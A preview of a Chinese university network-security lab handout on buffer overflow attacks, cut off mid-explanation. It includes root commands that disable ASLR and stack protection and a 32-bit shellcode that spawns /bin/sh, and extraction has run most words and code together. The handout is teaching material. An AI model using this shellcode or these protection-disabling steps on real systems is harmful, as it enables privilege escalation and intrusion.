网络安全与实践 网络安全实验 seed缓冲区溢出实验题目.pdf

网络安全与实践 网络安全实验 seed缓冲区溢出实验题目.pdf

  1. 1、本文档共7页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多

缓冲区溢出实验

1实验描述

该实验的目标是让学生掌握缓冲区溢出漏洞攻击的经验,将课堂上学习到漏洞知识应用

到实践中去。缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一

漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现

是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

在本实验中,学生将分析一个具有缓冲区溢出漏洞的程序,任务是使用一种攻击方案来

利用漏洞并最后获得root权限。另外,将带领学生学习到系统中阻止缓冲区溢出的一些保

护机制,学生需要评价他们的攻击方案在这些保护机制下是否起作用,并解释原因。

2实验任务

2.1初始设置

你将在已经配置好的Ubuntu镜像上执行本实验任务。Ubuntu和其它一些Linux系统都

适用了地址空间随机化机制(ASLR)来随机变化堆栈的起始地址。这将使猜测精确的地址非常

困难,猜测地址是缓冲区溢出攻击中关键的一步。在这个实验中,我们使用下面的命令关闭

ASLR:

$suroot

Password:(enterrootpassword)

#sysctl-wkernel.randomize_va_space=0

另外,GCC编译器中实现了一种”StackGuard”的安全机制来防止缓冲区溢出。你可以关

闭该保护当您编译时使用-fno-stack-protector。例如,编译一个叫example.c的程序并且不使

用StackGuard,你应该使用下面的命令:

gcc-fno-stack-protectorexample.c

2.2Shellcode

在开始攻击之前,你需要一个Shellcode,Shellcode是登陆到shell的一段代码。它必须

被载入内存,那样我们才能强迫程序跳转到它。考虑以下程序:

#includestdio.h

intmain(){

char*name[2];

name[0]=‘‘/bin/sh’’;

name[1]=NULL;

execve(name[0],name,NULL);

}

我们使用的shellcode是上述程序的汇编版。下面的程序显示了如何通过利用shellcode

任意重写一个缓冲区登录shell,请编译并运行以下代码,看shell是否被调用。

/*call_shellcode.c*/

/*Aprogramthatcreatesafilecontainingcodeforlaunchingshell*/

#includestdlib.h

#includestdio.h

constcharcode[]=

\x31\xc0/*Line1:xorl%eax,%eax*/

\x50/*Line2:pushl%eax*/

\x68//sh/*Line3:pushl$0x68732f2f*/

\x68/bin/*Line4:pushl$0x6e69622f*/

\x89\xe3/*Line5:movl%esp,%ebx*/

\x50/*Line6:pushl%eax*/

\x53/*Line7:pushl%ebx*/

\x89\xe1/*Line8:movl%esp,%ecx*/

\x99/*Line9:cdql*/

\xb0\x0b/*Line10:movb$0x0b,%al*/

\xcd\x80/*Line11:int$0x80*/

;

intmain(intargc,char**argv)

{

charbuf[sizeof(code)];

strcpy(buf,code);

((void(*)())buf)();

}

这段shellcode的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推入栈,

这是因为我们在这里需要一个32位的数字,而“/sh”只有24位。幸运的是,“//”和“/”

等价,所以我们使用“//”对程序也没什么影响,而且起到补位作用。第二,在调用execve()

之前,我们需要分别存储name[0](串地址),name(列地址)和NULL至%

文档评论(0)

女帝 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档